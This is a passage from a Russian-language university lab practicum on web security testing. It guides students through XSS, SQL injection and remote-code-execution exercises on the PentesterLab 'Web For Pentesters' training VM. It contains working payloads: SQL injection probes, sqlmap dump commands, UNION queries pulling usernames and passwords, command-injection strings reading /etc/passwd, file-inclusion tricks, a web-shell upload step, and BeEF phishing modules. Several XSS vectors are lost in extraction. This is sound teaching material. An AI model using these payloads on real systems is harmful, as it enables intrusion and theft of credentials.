Главная страница
Навигация по странице:

  • Вопросы и задания

  • Поиск уязвимостей к атакам SQL-injection Цель работы

  • Краткие теоретические сведения

  • Постановка задачи Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection. Последовательность действий

  • Поиск уязвимостей к атакам RCE Цель работы

  • Постановка задачи Выполнить идентификацию и эксплуатацию уязвимостей к атакам RCE. Последовательность действий

  • Лабораторный практикум по основам анализа защищенности веб-прил. Практикум по основам анализа защищенности вебприложений


    Скачать 1.08 Mb.
    НазваниеПрактикум по основам анализа защищенности вебприложений
    Дата27.10.2022
    Размер1.08 Mb.
    Формат файлаpdf
    Имя файлаЛабораторный практикум по основам анализа защищенности веб-прил.pdf
    ТипПрактикум
    #757170
    страница2 из 3
    1   2   3

    Hello,



    ClickMe


    Постановка задачи
    Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.
    Последовательность действий
    Шаг 1. Скачать образ «
    Web For Pentesters
    » с веб-сайта www.pentesterlab.com
    Создать виртуальную машину.
    Загрузиться с диска. В браузере открыть веб-приложение.

    37
    Шаг 2. Перейти по ссылке «
    XSS → Example 1
    ».
    Проанализировать логику функционирования веб-приложения.
    Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

    Шаг 3. Перейти по ссылке «
    XSS → Example 2
    ».
    Проанализировать логику функционирования веб-приложения.
    Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

    Убедиться, что слово script фильтруется.
    Ввести вектор

    Шаг 4. Перейти по ссылке «
    XSS → Example 3
    ».
    Проанализировать логику функционирования веб-приложения.
    Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

    Убедиться, что слово
    cript>
    Шаг 5. Перейти по ссылке «
    XSS → Example 4
    ».
    Проанализировать логику функционирования веб-приложения.
    Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор


    38
    Убедиться, что слово


    Убедиться, что слово alert вырезается корректно. Ввести вектора



    Шаг 7. Перейти по ссылке «
    XSS → Example 6
    ».
    Проанализировать логику функционирования веб-приложения.
    Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора ";alert(1);"
    .
    Убедиться, что никакого HTTP-запроса не отправляется.
    Шаг 11. Запустить среду эксплуатации уязвимостей BeEF.
    Перейти по ссылке «
    XSS → Example 1
    ». В качестве значения параметра name ввести вектор

    Перейти в консоль BeEF, ввести стандартные логин и пароль
    (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузе- ре и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:
    − «Create Alert Dialog»;
    − «Redirect Browser», перенаправив пользователя на сайт http://evil.com;
    − «Clickjacking»;
    − «Clippy»;
    − «Fake Notification Bar»;
    − «Google Phishing»;
    − «Pretty Theft».

    40
    Вопросы и задания
    1. Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com.
    2. Выполнить несколько заданий по поиску уязвимостей к ата- кам XSS на сайте escape.alf.nu.
    3. Выполнить несколько заданий по поиску уязвимостей к ата- кам XSS на сайте prompt.ml.
    Поиск уязвимостей к атакам SQL-injection
    Цель работы
    Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection.
    Краткие теоретические сведения
    Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL.
    Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы
    СУБД в обход логики веб-приложения.
    В зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак
    SQL-injection [17]:
    − классическая;
    − «слепая» типа boolean-based;
    − «слепая» типа time-based;
    − error-based;
    − вложенная;
    − фрагментированная.
    Рассмотрим примеры базовых тестов, обнаруживающих уязвимость параметра id к атаке SQL-injection:

    41
    − http://www.test.app.com/index?id=1'
    − http://www.test.app.com/index?id=1"
    − http://www.test.app.com/index?id=1' order by 1000
    − http://www.test.app.com/index?id=1"--
    − http://www.test.app.com/index?id=1'/*
    − http://www.test.app.com/index?id=1"#
    − http://www.test.app.com/index?id=1 and 1=1--
    − http://www.test.app.com/index?id=1 and 1=2—
    − http://www.test.app.com/index?id=1' and '1'='1
    − http://www.test.app.com/index?id=1' and '1'='2
    Постановка задачи
    Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.
    Последовательность действий
    Шаг 1. Скачать образ «
    Web For Pentesters
    » с веб-сайта www.pentesterlab.com
    Создать виртуальную машину.
    Загрузиться с диска. В браузере открыть веб-приложение.
    Шаг 2. Перейти по ссылке «
    SQL injections → Example 1
    ».
    Проанализировать логику функционирования веб-приложения.
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:
    − sqli/example1.php?name=root'
    − sqli/example1.php?name=root"
    − sqli/example1.php?name=root'%201=1
    − sqli/example1.php?name=root'%201=1#
    − sqli/example1.php?name=root'%201=1%20—
    − sqli/example1.php?name=root'%201=1%20/*
    − sqli/example1.php?name=root'%20'1'='1
    − sqli/example1.php?name=root'%20'1'='2
    − sqli/example1.php?name=root'%23sqli
    Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Выполнить следующую ко- манду:

    42
    # python sqlmap.py –p name ––dmbs=mysql ––dump
    –u http://IP_address/sqli/example1.php?name=root
    Просмотреть результаты работы программы, просмотреть полу- ченные данные из базы данных.
    Шаг 2. Перейти по ссылке «
    SQL injections → Example 2
    ».
    Проанализировать логику функционирования веб-приложения.
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:
    − sqli/example2.php?name=root%20and%201=1
    − sqli/example2.php?name=root'%09and%09'1'='1
    − sqli/example2.php?name=root'%09and%09'1'='2
    − sqli/example2.php?name=root'%2b%2b'
    Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить- ся, что в данном случае он не смог идентифицировать уязвимый параметр.
    Шаг 3. Перейти по ссылке «
    SQL injections → Example 3
    ».
    Проанализировать логику функционирования веб-приложения.
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:
    − sqli/example3.php?name=root%20and%201=1
    − sqli/example3.php?name=root'/**/and/**/'1'='1
    − sqli/example3.php?name=root'/**/and/**/'1'='2
    − sqli/example3.php?name=root'%2b%2b'
    Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить- ся, что в данном случае он не сможет идентифицировать уязвимый параметр.
    Шаг 4. Перейти по ссылке «
    SQL injections → Example 4
    ».
    Проанализировать логику функционирования веб-приложения.
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

    43
    − sqli/example4.php?id=2
    − sqli/example4.php?id=2'
    − sqli/example4.php?id=2"
    − sqli/example4.php?id=1%2b1
    − sqli/example4.php?id=0%2b2
    − sqli/example4.php?id=3-1
    Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:
    # python sqlmap.py –p id ––dmbs=mysql ––dump
    –u http://IP_address/sqli/example4.php?id=1
    Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.
    Шаг 5. Перейти по ссылке «
    SQL injections → Example 5
    ».
    Проанализировать логику функционирования веб-приложения.
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:
    − sqli/example5.php?id=2
    − sqli/example5.php?id=2'
    − sqli/example5.php?id=2"
    − sqli/example5.php?id=1%2b1
    − sqli/example5.php?id=0%2b2
    − sqli/example5.php?id=3-1
    Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:
    # python sqlmap.py –p id ––dmbs=mysql ––dump
    –u http://IP_address/sqli/example5.php?id=1
    Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.
    Шаг 6. Перейти по ссылке «
    SQL injections → Example 5
    ».
    Проанализировать логику функционирования веб-приложения.

    44
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:
    − sqli/example6.php?id=2
    − sqli/example6.php?id=2'
    − sqli/example6.php?id=2"
    − sqli/example6.php?id=1%2b1
    − sqli/example6.php?id=0%2b2
    − sqli/example6.php?id=3-1
    − sqli/example6.php?id=5-3
    Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.
    Шаг 7. Перейти по ссылке «
    SQL injections → Example 5
    ».
    Проанализировать логику функционирования веб-приложения.
    Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:
    − sqli/example7.php?id=2
    − sqli/example7.php?id=2'
    − sqli/example7.php?id=2"
    − sqli/example7.php?id=1%2b1
    − sqli/example7.php?id=3-1
    − sqli/example7.php?id=2%0Aand%201=1
    − sqli/example7.php?id=2%0Aand%201=2
    − sqli/example7.php?id=2%0A%23sqli
    Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:
    − sqli/example7.php?id=2%0Aunion%20select%201
    − sqli/example7.php?id=2%0Aunion%20select%201,2
    − sqli/example7.php?id=2%0Aunion%20select%201,2,3
    − sqli/example7.php?id=2%0Aunion%20select%201,2,3,4

    45
    − sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,
    5
    − sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users
    Ручными методами получить данные из базы данных.
    Просмотреть исходный код PHP-сценария.
    Вопросы и задания
    1. С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.
    2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.
    3. Для веб-приложения, уязвимого к атаке SQL-injection и ис- пользующего для хранения данных СУБД MySQL, получить со- держимое служебной базы данных INFORMATION_SCHEMA.
    Поиск уязвимостей к атакам RCE
    Цель работы
    Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам RCE.
    Краткие теоретические сведения
    Remote Code Execution (RCE) – это собирательный термин, обозначающий класс атак, приводящих к выполнению произвольного кода веб-приложением. Атаки данного класса возможны из-за недостаточной обработки веб-приложением пользовательских входных данных, пересекающих границу доверия.
    Как правило, выделяют следующие основные разновидности атак RCE [18]:
    − загрузка произвольных файлов (Unrestricted File Upload);
    − использование локальных файлов (Local File Inclusion);
    − внедрение кода (Code Injection);

    46
    − выполнение команд (Command Injection).
    Постановка задачи
    Выполнить идентификацию и эксплуатацию уязвимостей к атакам RCE.
    Последовательность действий
    Шаг 1. Скачать образ «
    Web For Pentesters
    » с веб-сайта www.pentesterlab.com
    Создать виртуальную машину.
    Загрузиться с диска. В браузере открыть веб-приложение.
    Шаг 2. Перейти по ссылке «
    Code Injection → Example 1
    ».
    Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение ';&"\/#|*()
    Просмотреть сообщение об ошибке. Изучить документацию PHP по функции eval()
    . Ввести последовательно значения
    123"."456 и "./*123456*/".
    В качестве доказательства наличия уязвимости ввести значение ".system('uname -a');"
    Шаг 2. Перейти по ссылке «
    Code Injection → Example 2
    ».
    Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение ';&"\/#|*()
    Просмотреть сообщение об ошибке. Изучить документацию PHP по функциям create_function()
    и usort()
    . Ввести последовательно значения id;}//
    и id);}//
    . В качестве доказательства наличия уязвимости ввести значение id);}system('whoami');//
    Шаг 3. Перейти по ссылке «
    Command Injection → Example
    1
    ». Проанализировать логику функционирования веб-приложения.
    В качестве переменной ip ввести значение
    127.0.0.1
    Просмотреть вывод приложения. В качестве значения переменной ip ввести
    127.0.0.1;uname%20-a;whoami;cat%20/etc/passwd

    47
    Шаг 4. Перейти по ссылке «
    Command Injection → Example
    2
    ». Проанализировать логику функционирования веб-приложения.
    В качестве переменной ip ввести значение
    127.0.0.1;whoami
    Просмотреть вывод приложения. В качестве переменной ip ввести значение
    127.0.0.1%0acat%20/etc/passwd
    Шаг 5. Перейти по ссылке «
    Command Injection → Example
    3
    ». Проанализировать логику функционирования веб-приложения.
    В качестве переменной ip ввести значение
    127.0.0.1;whoami
    Просмотреть вывод приложения. Запустить сетевой анализатор.
    Повторить запрос. Будет выполнено перенаправление на ресурс example3.php?ip=127.0.0.1
    , но в то же время HTTP-ответ с кодом 302 будет содержать вывод команды whoami
    . Это означает, что приложение уязвимо к атаке Execution After Redirect (EAR).
    Ввести переменной ip ввести значение
    127.0.0.1;cat%20/etc/passwd
    Просмотреть содержимое файла /etc/passwd в HTTP-ответе.
    Шаг 6. Перейти по ссылке «
    File Include → Example 1
    ».
    Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение ';&"\/#|*()
    Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение
    /etc/passwd
    . Это означает, что приложение уязвимо к атаке LFI. Просмотреть содержимое. В качестве переменной page ввести значение http://gmail.com
    . Это означает, что веб- приложение уязвимо к атаке Remote File Inclusion (RFI).
    В веб-браузере перейти по адресу https://pentesterlab.com/test_include.txt и просмотреть полученный в ответе PHP-код. В качестве значения переменной

    48 page ввести https://pentesterlab.com/test_include.txt
    Просмотреть и проанализировать результаты.
    Шаг 7. Перейти по ссылке «
    File Include → Example 2
    ».
    Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение ';&"\/#|*()
    Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение
    /etc/passwd
    . В данном случае к введенному имени файла добавляется расширение «php». В качестве переменной page ввести значения
    /etc/passwd%00
    и https://pentesterlab.com/test_include.txt%00
    Просмотреть и проанализировать результаты.
    Шаг 8. Перейти по ссылке «
    File Upload → Example 1
    ».
    Проанализировать логику функционирования веб-приложения.
    Подготовить файл shell.php со следующим PHP-кодом:

    Загрузить файл на сервер.
    Отправляя запросы виды
    /upload/images/shell.php?cmd=whoami, возможно выполнять произвольные команды на сервере с правами пользователя, от имени которого запущен веб-сервер. Выполнить несколько ко- манд, просмотреть и проанализировать результаты.
    Шаг 9. Перейти по ссылке «
    File Upload → Example 2
    ».
    Проанализировать логику функционирования веб-приложения.
    Подготовить файл shell.php со следующим PHP-кодом:

    Загрузить файл на сервер. Убедиться, что приложение не допуска- ет загрузку файлов с расширением «php». Переименовать файл shell.php в shell.php.cats или shell.php3
    . Загрузить файл,

    49 проверить наличие возможности выполнения произвольных ко- манд.
    1   2   3


    написать администратору сайта